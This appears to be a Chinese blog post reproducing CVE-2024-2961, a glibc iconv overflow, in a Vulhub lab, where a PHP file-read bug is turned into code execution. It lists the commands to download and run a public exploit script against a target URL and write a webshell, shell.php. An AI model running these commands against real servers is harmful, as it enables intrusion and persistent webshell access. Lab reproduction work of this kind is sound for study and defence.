vulhub中PHP利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961)

GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。

如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用`iconv()`的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。

漏洞复现

在使用原作者给出的[exploit](https://github.com/ambionics/cnext-exploits)前,你需要准备一个Linux环境和Python 3.10解释器。

安装依赖:

pip install pwntools

pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip

然后从<https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py\>下载POC并执行:

wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py

python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"

已经成功写入shell.php:

相关推荐
我真的不会C17 分钟前
QT中的事件及其属性
开发语言·qt
2501_906314321 小时前
优化无头浏览器流量:使用Puppeteer进行高效数据抓取的成本降低策略
开发语言·数据结构·数据仓库
让我们一起加油好吗2 小时前
【C++】类和对象(上)
开发语言·c++·visualstudio·面向对象
magic 2452 小时前
深入解析Promise:从基础原理到async/await实战
开发语言·前端·javascript
只因从未离去2 小时前
黑马Java基础笔记-4
java·开发语言·笔记
言之。2 小时前
【Go语言】ORM(对象关系映射)库
开发语言·后端·golang
newki2 小时前
学习笔记,Linux虚拟机中C/C++的编译相关流程步骤
c语言·c++
席万里3 小时前
Go语言企业级项目使用dlv调试
服务器·开发语言·golang
jerry6093 小时前
c++流对象
开发语言·c++·算法
fmdpenny3 小时前
用python写一个相机选型的简易程序
开发语言·python·数码相机